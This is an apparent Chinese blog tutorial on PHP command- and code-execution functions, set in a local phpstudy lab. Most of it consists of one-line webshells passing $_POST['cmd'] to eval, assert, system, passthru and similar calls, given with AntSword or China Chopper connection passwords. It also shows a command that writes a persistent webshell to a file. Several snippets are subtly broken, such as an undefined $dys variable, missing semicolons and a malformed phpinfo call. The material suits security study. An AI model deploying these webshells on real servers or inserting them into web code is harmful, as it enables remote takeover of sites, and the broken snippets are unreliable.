PHP常见的命令执行函数与代码执行函数_php命令执行函数

5. array_map()

6. call_user_func_array()

7. array_filter()

​编辑

8. uasort()函数

9. preg_replace()

命令执行函数:

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引号 ``


代码执行函数:

前提准备:火狐插件 Quantum  Hackbar (或者hackbar)      phpstudy

首先打开phpstudy  在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。

注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。

1. eval()

命令执行:cmd=system(ipconfig);
蚁剑连接密码:cmd

 注意:eval要以分号结尾  传入的参数必须为php代码

<?php @eval($_POST['cmd']);?>  
GET和POST传参的区别

这里用的是POST型传参   POST型传参通过request  body 传参   而GET型传参把参数包含在url中

可以使用

标签来使结果规范化

 <?php 
 echo "<pre>";
 echo eval($_POST["cmd"]);
 echo "</pre>";
 ?>

2. assert()

 命令执行:cmd=system(whoami)
    菜刀连接密码:cmd
 
<?php @assert($_POST['cmd']);?>

3. call_user_func()

传入的参数作为assert函数的参数
    命令执行:cmd=system(whoami)
    蚁剑连接密码:cmd
 
<?php call_user_func("assert",$_POST['cmd']); ?>
这里的  assert  是被调用的回调函数,其余为回调函数的参数。

<?php
call_user_func($_POST["dys"],$_POST["add"]);
?>
这里dys=assert;  add=phpinfo();

4. create_function()

创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
 

第一个变量表示定义一个函数变量部分  第二个变量表示执行的代码部分

5. array_map()

array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    
<?php
    $func=$_GET['dys'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($dys,$array);
    echo $new_array;
?>

这个函数作用是为数组每个元素应用回调函数。

6. call_user_func_array()

将传入的参数作为数组的第一个值传递给assert函数
    cmd=system(phpinfo();)
   
<?php
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
?>

7. array_filter()

array_filter — 使用回调函数过滤数组的元素

<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['dys'];
    array_filter($array1,$func);
?>
命令执行:cmd=whoami  dys=system

8. uasort()函数

uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。

<?php
    uasort($_GET,'asse'.'rt');
?>

9. preg_replace()

preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

命令执行函数:

1. system()

蚁剑连接密码:cmd
<?php
echo "<pre>";
system($_POST["cmd"]);
?>

在POST命令框输入cmd=ipconfig  即可在页面出现信息

还可以用echo写入一句话木马,来进行连接

cmd=echo “<?php @eval($\_POST['dys']);?>” >> dys.php

2. passthru()

passthru — 执行外部程序并且显示原始输出

蚁剑连接密码:cmd
<?php
@passthru($_POST['cmd']);
?>

cmd=ipconfig 即可显示信息

3. exec()

这个函数有点特殊,他只输出最后一行

并且他的输出需要自己打印。(即用echo打印出来)

蚁剑连接密码:cmd
<?php
echo "<pre>"
echo exec($_POST['cmd']);
echo "</pre>"
?>

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值